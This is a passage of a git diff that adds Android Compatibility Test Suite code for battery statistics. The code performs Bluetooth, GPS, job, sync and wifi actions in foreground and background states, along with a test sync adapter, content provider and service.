+    private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+    public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+    public static final String ACTION_GPS = "action.gps";
+    public static final String ACTION_JOB_SCHEDULE = "action.jobs";
+    public static final String ACTION_SYNC = "action.sync";
+    public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+    public static final String ACTION_WIFI_DOWNLOAD = "action.wifi_download";
+    public static final String ACTION_WIFI_UPLOAD = "action.wifi_upload";
+
+    public static final String KEY_REQUEST_CODE = "request_code";
+
+    /** Number of times to check that app is in correct state before giving up. */
+    public static final int PROC_STATE_CHECK_ATTEMPTS = 10;
+
+    /** Perform the action specified by the given action code (see constants above). */
+    public static void doAction(Context ctx, String actionCode, String requestCode) {
+        if (actionCode == null) {
+            Log.e(TAG, "Intent was missing action.");
+            return;
+        }
+        sleep(100);
+        switch (actionCode) {
+            case ACTION_BLE_SCAN_OPTIMIZED:
+                doOptimizedBleScan(ctx, requestCode);
+                break;
+            case ACTION_BLE_SCAN_UNOPTIMIZED:
+                doUnoptimizedBleScan(ctx, requestCode);
+                break;
+            case ACTION_GPS:
+                doGpsUpdate(ctx, requestCode);
+                break;
+            case ACTION_JOB_SCHEDULE:
+                doScheduleJob(ctx, requestCode);
+                break;
+            case ACTION_SYNC:
+                doSync(ctx, requestCode);
+                break;
+            case ACTION_WIFI_SCAN:
+                doWifiScan(ctx, requestCode);
+                break;
+            case ACTION_WIFI_DOWNLOAD:
+                doWifiDownload(ctx, requestCode);
+                break;
+            case ACTION_WIFI_UPLOAD:
+                doWifiUpload(ctx, requestCode);
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action");
+        }
+        sleep(100);
+    }
+
+    private static void doOptimizedBleScan(Context ctx, String requestCode) {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
+        performBleScan(scanSettings);
+        tellHostActionFinished(ACTION_BLE_SCAN_OPTIMIZED, requestCode);
+    }
+
+    private static void doUnoptimizedBleScan(Context ctx, String requestCode) {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        performBleScan(scanSettings);
+        tellHostActionFinished(ACTION_BLE_SCAN_UNOPTIMIZED, requestCode);
+    }
+
+    private static void performBleScan(ScanSettings scanSettings) {
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        if (bluetoothAdapter == null) {
+            Log.e(TAG, "Device does not support Bluetooth");
+            return;
+        }
+        if (!bluetoothAdapter.isEnabled()) {
+            Log.e(TAG, "Bluetooth is not enabled");
+            return;
+        }
+
+        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
+        if (bleScanner == null) {
+            Log.e(TAG, "Cannot access BLE scanner");
+            return;
+        }
+
+        ScanCallback scanCallback = new ScanCallback() {
+            @Override
+            public void onScanResult(int callbackType, ScanResult result) {
+                Log.v(TAG, "called onScanResult");
+            }
+
+            @Override
+            public void onScanFailed(int errorCode) {
+                Log.v(TAG, "called onScanFailed");
+            }
+
+            @Override
+            public void onBatchScanResults(List<ScanResult> results) {
+                Log.v(TAG, "called onBatchScanResults");
+            }
+        };
+
+        bleScanner.startScan(null, scanSettings, scanCallback);
+        sleep(2_000);
+        bleScanner.stopScan(scanCallback);
+    }
+
+    private static void doGpsUpdate(Context ctx, String requestCode) {
+        final LocationManager locManager = ctx.getSystemService(LocationManager.class);
+        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+            Log.e(TAG, "GPS provider is not enabled");
+            tellHostActionFinished(ACTION_GPS, requestCode);
+            return;
+        }
+        CountDownLatch latch = new CountDownLatch(1);
+
+        final LocationListener locListener = new LocationListener() {
+            public void onLocationChanged(Location location) {
+                Log.v(TAG, "onLocationChanged: location has been obtained");
+            }
+
+            public void onProviderDisabled(String provider) {
+                Log.w(TAG, "onProviderDisabled " + provider);
+            }
+
+            public void onProviderEnabled(String provider) {
+                Log.w(TAG, "onProviderEnabled " + provider);
+            }
+
+            public void onStatusChanged(String provider, int status, Bundle extras) {
+                Log.w(TAG, "onStatusChanged " + provider + " " + status);
+            }
+        };
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                Looper.prepare();
+                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
+                        locListener);
+                sleep(1_000);
+                locManager.removeUpdates(locListener);
+                latch.countDown();
+                return null;
+            }
+        }.execute();
+
+        waitForReceiver(ctx, 59_000, latch, null);
+        tellHostActionFinished(ACTION_GPS, requestCode);
+    }
+
+    private static void doScheduleJob(Context ctx, String requestCode) {
+        final ComponentName JOB_COMPONENT_NAME =
+                new ComponentName("com.android.server.cts.device.batterystats",
+                        SimpleJobService.class.getName());
+        JobScheduler js = ctx.getSystemService(JobScheduler.class);
+        if (js == null) {
+            Log.e(TAG, "JobScheduler service not available");
+            tellHostActionFinished(ACTION_JOB_SCHEDULE, requestCode);
+            return;
+        }
+        final JobInfo job = (new JobInfo.Builder(1, JOB_COMPONENT_NAME))
+                .setOverrideDeadline(0)
+                .build();
+        CountDownLatch latch = SimpleJobService.resetCountDownLatch();
+        js.schedule(job);
+        // Job starts in main thread so wait in another thread to see if job finishes.
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                waitForReceiver(null, 60_000, latch, null);
+                tellHostActionFinished(ACTION_JOB_SCHEDULE, requestCode);
+                return null;
+            }
+        }.execute();
+    }
+
+    private static void doSync(Context ctx, String requestCode) {
+        BatteryStatsAuthenticator.removeAllAccounts(ctx);
+        final Account account = BatteryStatsAuthenticator.getTestAccount();
+        // Create the test account.
+        BatteryStatsAuthenticator.ensureTestAccount(ctx);
+        // Force set is syncable.
+        ContentResolver.setMasterSyncAutomatically(true);
+        ContentResolver.setIsSyncable(account, BatteryStatsProvider.AUTHORITY, 1);
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                try {
+                    Log.v(TAG, "Starting sync");
+                    BatteryStatsSyncAdapter.requestSync(account);
+                    sleep(500);
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception trying to sync", e);
+                }
+                BatteryStatsAuthenticator.removeAllAccounts(ctx);
+                return null;
+            }
+
+            @Override
+            protected void onPostExecute(Void aVoid) {
+                super.onPostExecute(aVoid);
+                Log.v(TAG, "Finished sync method");
+                // If ctx is an Activity, finish it when sync is done. If it's a service, don't.
+                if (ctx instanceof Activity) {
+                    ((Activity) ctx).finish();
+                }
+                tellHostActionFinished(ACTION_SYNC, requestCode);
+            }
+        }.execute();
+    }
+
+    private static void doWifiScan(Context ctx, String requestCode) {
+        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
+        // start when requested. Therefore, additionally wait for whatever scan is currently running
+        // to finish, then request a scan again - at least one of these two scans should be
+        // attributed to this app.
+        doWifiScanOnce(ctx);
+        doWifiScanOnce(ctx);
+        tellHostActionFinished(ACTION_WIFI_SCAN, requestCode);
+    }
+
+    private static void doWifiScanOnce(Context ctx) {
+        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
+        CountDownLatch onReceiveLatch = new CountDownLatch(1);
+        BroadcastReceiver receiver = registerReceiver(ctx, onReceiveLatch, intentFilter);
+        ctx.getSystemService(WifiManager.class).startScan();
+        waitForReceiver(ctx, 60_000, onReceiveLatch, receiver);
+    }
+
+    private static void doWifiDownload(Context ctx, String requestCode) {
+        CountDownLatch latch = new CountDownLatch(1);
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                BatteryStatsWifiTransferTests.download(requestCode);
+                latch.countDown();
+                return null;
+            }
+        }.execute();
+
+        waitForReceiver(null, 60_000, latch, null);
+        tellHostActionFinished(ACTION_WIFI_DOWNLOAD, requestCode);
+    }
+
+    private static void doWifiUpload(Context ctx, String requestCode) {
+        CountDownLatch latch = new CountDownLatch(1);
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                BatteryStatsWifiTransferTests.upload();
+                latch.countDown();
+                return null;
+            }
+        }.execute();
+
+        waitForReceiver(null, 60_000, latch, null);
+        tellHostActionFinished(ACTION_WIFI_UPLOAD, requestCode);
+    }
+
+    /** Register receiver to determine when given action is complete. */
+    private static BroadcastReceiver registerReceiver(
+            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                onReceiveLatch.countDown();
+            }
+        };
+        // run Broadcast receiver in a different thread since the foreground activity will wait.
+        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
+        handlerThread.start();
+        Looper looper = handlerThread.getLooper();
+        Handler handler = new Handler(looper);
+        ctx.registerReceiver(receiver, intentFilter, null, handler);
+        return receiver;
+    }
+
+    /**
+     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
+     * receiver is needed to be unregistered.
+     */
+    private static void waitForReceiver(Context ctx,
+            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
+        try {
+            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
+            if (didFinish) {
+                Log.v(TAG, "Finished performing action");
+            } else {
+                // This is not necessarily a problem. If we just want to make sure a count was
+                // recorded for the request, it doesn't matter if the action actually finished.
+                Log.w(TAG, "Did not finish in specified time.");
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
+        }
+        if (ctx != null && receiver != null) {
+            ctx.unregisterReceiver(receiver);
+        }
+    }
+
+    /** Communicates to hostside (via logcat) that action has completed (regardless of success). */
+    private static void tellHostActionFinished(String actionCode, String requestCode) {
+        String s = String.format("Completed performing %s for request %s", actionCode, requestCode);
+        Log.i(TAG, s);
+    }
+
+    /** Determines whether the package is running as a background process. */
+    private static boolean isAppInBackground(Context context) throws ReflectiveOperationException {
+        String pkgName = context.getPackageName();
+        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        List<ActivityManager.RunningAppProcessInfo> processes = am.getRunningAppProcesses();
+        if (processes == null) {
+            return false;
+        }
+        for (ActivityManager.RunningAppProcessInfo r : processes) {
+            // BatteryStatsImpl treats as background if procState is >=
+            // Activitymanager.PROCESS_STATE_IMPORTANT_BACKGROUND (corresponding
+            // to BatteryStats.PROCESS_STATE_BACKGROUND).
+            // Due to lack of permissions, only the current app should show up in the list of
+            // processes, which is desired in this case; but in case this changes later, we check
+            // that the package name matches anyway.
+            int processState = -1;
+            int backgroundCode = -1;
+            try {
+                processState = ActivityManager.RunningAppProcessInfo.class
+                        .getField("processState").getInt(r);
+                backgroundCode = (Integer) ActivityManager.class
+                        .getDeclaredField("PROCESS_STATE_IMPORTANT_BACKGROUND").get(null);
+            } catch (ReflectiveOperationException ex) {
+                Log.e(TAG, "Failed to get proc state info via reflection", ex);
+                throw ex;
+            }
+            if (processState < backgroundCode) { // if foreground process
+                for (String rpkg : r.pkgList) {
+                    if (pkgName.equals(rpkg)) {
+                        return false;
+                    }
+                }
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Makes sure app is in desired state, either background (if shouldBeBg = true) or foreground
+     * (if shouldBeBg = false).
+     * Tries for up to PROC_STATE_CHECK_ATTEMPTS seconds. If app is still not in the correct state,
+     * throws an AssertionError failure to crash the app.
+     */
+    public static void checkAppState(
+            Context context, boolean shouldBeBg, String actionCode, String requestCode) {
+        final String errMsg = "App is " + (shouldBeBg ? "not " : "") + "a background process!";
+        try {
+            for (int attempt = 0; attempt < PROC_STATE_CHECK_ATTEMPTS; attempt++) {
+                if (shouldBeBg == isAppInBackground(context)) {
+                    return; // No problems.
+                } else {
+                    if (attempt < PROC_STATE_CHECK_ATTEMPTS - 1) {
+                        Log.w(TAG, errMsg + " Trying again in 1s.");
+                        sleep(1_000);
+                    } else {
+                        Log.e(TAG, errMsg + " Quiting app.");
+                        BatteryStatsBgVsFgActions.tellHostActionFinished(actionCode, requestCode);
+                        Assert.fail(errMsg + " Test requires app to be in the correct state.");
+                    }
+                }
+            }
+        } catch(ReflectiveOperationException ex) {
+            Log.w(TAG, "Couldn't determine if app is in background. Proceeding with test anyway.");
+        }
+    }
+
+    /** Puts the current thread to sleep. */
+    private static void sleep(int millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while sleeping", e);
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
new file mode 100644
index 0000000..e53c213
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.os.PowerManager;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+/**
+ * Used by BatteryStatsValidationTest.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsDeviceTestBase {
+    private static final String TAG = "BatteryStatsDeviceTest";
+
+    protected Context mContext;
+    protected PowerManager mPowerManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mPowerManager = mContext.getSystemService(PowerManager.class);
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
new file mode 100644
index 0000000..5622e40
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsForegroundActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.batterystats;
+
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.ACTION_SYNC;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_ACTION;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.KEY_REQUEST_CODE;
+import static com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions.doAction;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/** An activity (to be run as a foreground process) which performs one of a number of actions. */
+public class BatteryStatsForegroundActivity extends Activity {
+    private static final String TAG = BatteryStatsForegroundActivity.class.getSimpleName();
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        String requestCode = intent.getStringExtra(KEY_REQUEST_CODE);
+        Log.i(TAG, "Starting " + action + " from foreground activity as request " + requestCode);
+
+        // Check that app is in foreground; crash if it isn't.
+        BatteryStatsBgVsFgActions.checkAppState(this, false, action, requestCode);
+
+        doAction(this, action, requestCode);
+
+        // ACTION_SYNC will finish itself. Others get finished here.
+        if (!ACTION_SYNC.equals(action)) {
+            finish();
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
new file mode 100644
index 0000000..ea2b8d4
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.ComponentName;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Used by BatteryStatsValidationTest.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsJobDurationTests extends BatteryStatsDeviceTestBase {
+
+    private static final ComponentName JOB_COMPONENT_NAME =
+            new ComponentName("com.android.server.cts.device.batterystats",
+                    SimpleJobService.class.getName());
+    public static final String TAG = "BatteryStatsJobDurationTests";
+
+    private JobInfo createJobInfo(int id) {
+        JobInfo.Builder builder = new JobInfo.Builder(id, JOB_COMPONENT_NAME);
+        builder.setOverrideDeadline(0);
+        return builder.build();
+    }
+
+    @Test
+    public void testJobDuration() throws Exception {
+        JobScheduler js = mContext.getSystemService(JobScheduler.class);
+        assertTrue("JobScheduler service not available", js != null);
+        final JobInfo job = createJobInfo(1);
+        long startTime = System.currentTimeMillis();
+        for (int i = 0; i < 3; i++) {
+            CountDownLatch latch = SimpleJobService.resetCountDownLatch();
+            js.schedule(job);
+            if (!latch.await(5, TimeUnit.SECONDS)) {
+                Log.e(TAG, "Job didn't finish in 5 seconds");
+                fail("Job didn't finish in 5 seconds");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
new file mode 100644
index 0000000..c40c950
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.content.Intent;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Used by BatteryStatsValidationTest.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsProcessStateTests extends BatteryStatsDeviceTestBase {
+    private static final String TAG = "BatteryStatsWakeLockTests";
+
+    @Test
+    public void testForegroundService() throws Exception {
+        Intent intent = new Intent();
+        intent.setClass(mContext, SimpleForegroundService.class);
+        mContext.startForegroundService(intent);
+        Thread.sleep(3000);
+    }
+
+    @Test
+    public void testActivity() throws Exception {
+        Intent intent = new Intent();
+        intent.setClass(mContext, SimpleActivity.class);
+        mContext.startActivity(intent);
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProvider.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProvider.java
new file mode 100644
index 0000000..c9dcedb
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProvider.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+/**
+ * Provider for the sync test.
+ */
+public class BatteryStatsProvider extends ContentProvider {
+    public static final String AUTHORITY = "com.android.server.cts.device.batterystats.provider";
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncAdapter.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncAdapter.java
new file mode 100644
index 0000000..ec1522b
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncAdapter.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.accounts.Account;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+
+import org.junit.Assert;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Sync adapter for the sync test.
+ */
+public class BatteryStatsSyncAdapter extends AbstractThreadedSyncAdapter {
+    private static final String TAG = "BatteryStatsSyncAdapter";
+
+    private static final int TIMEOUT_SECONDS = 60 * 2;
+
+    private static final Object sLock = new Object();
+
+    /**
+     * # of total syncs happened; used to wait until a request sync finishes.
+     */
+    @GuardedBy("sLock")
+    private static int sSyncCount;
+
+    public BatteryStatsSyncAdapter(Context context) {
+        // No need for auto-initialization because we set isSyncable in the test anyway.
+        super(context, /* autoInitialize= */ false);
+    }
+
+    @Override
+    public void onPerformSync(Account account, Bundle extras, String authority,
+            ContentProviderClient provider, SyncResult syncResult) {
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+        }
+        synchronized (sLock) {
+            sSyncCount++;
+            Log.i(TAG, "onPerformSync: count -> " + sSyncCount);
+            sLock.notifyAll();
+        }
+    }
+
+    /**
+     * Returns the current sync count.
+     */
+    private static int getSyncCount() {
+        synchronized (sLock) {
+            return sSyncCount;
+        }
+    }
+
+    /**
+     * Wait until the sync count reaches the given value.
+     */
+    private static void waitUntilSyncCount(int expectCount) throws Exception {
+        final long timeout = SystemClock.elapsedRealtime() + (TIMEOUT_SECONDS * 1000);
+
+        synchronized (sLock) {
+            for (;;) {
+                Log.i(TAG, "waitUntilSyncCount: current count=" + sSyncCount);
+                if (sSyncCount >= expectCount) {
+                    return;
+                }
+                final long sleep = timeout - SystemClock.elapsedRealtime();
+                if (sleep <= 0) {
+                    break;
+                }
+                sLock.wait(sleep);
+            }
+        }
+        Assert.fail("Sync didn't happen.");
+    }
+
+    /**
+     * Request a sync on the given account, and wait for it.
+     */
+    public static void requestSync(Account account) throws Exception {
+        final int startCount = BatteryStatsSyncAdapter.getSyncCount();
+
+        final Bundle extras = new Bundle();
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+
+        ContentResolver.requestSync(account, BatteryStatsProvider.AUTHORITY, extras);
+
+        waitUntilSyncCount(startCount + 1);
+    }
+
+    /**
+     * Cancel all pending sync requests on the given account.
+     */
+    public static void cancelPendingSyncs(Account account) throws Exception {
+        final long timeout = SystemClock.elapsedRealtime() + (TIMEOUT_SECONDS * 1000);
+
+        ContentResolver.cancelSync(account, BatteryStatsProvider.AUTHORITY);
+
+        for (;;) {
+            if (!ContentResolver.isSyncPending(account, BatteryStatsProvider.AUTHORITY)
+                && !ContentResolver.isSyncActive(account, BatteryStatsProvider.AUTHORITY)) {
+                return;
+            }
+            final long sleep = timeout - SystemClock.elapsedRealtime();
+            if (sleep <= 0) {
+                break;
+            }
+            Thread.sleep(sleep);
+        }
+        Assert.fail("Couldn't cancel pending sync.");
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncService.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncService.java
new file mode 100644
index 0000000..d657c1a
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * Service for the sync test.
+ */
+public class BatteryStatsSyncService extends Service {
+
+    private static BatteryStatsSyncAdapter sAdapter;
+
+    @Override
+    public synchronized IBinder onBind(Intent intent) {
+        if (sAdapter == null) {
+            sAdapter = new BatteryStatsSyncAdapter(getApplicationContext());
+        }
+        return sAdapter.getSyncAdapterBinder();
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
new file mode 100644
index 0000000..daa6f5e
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.batterystats;
+
+import android.accounts.Account;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BatteryStatsSyncTest {
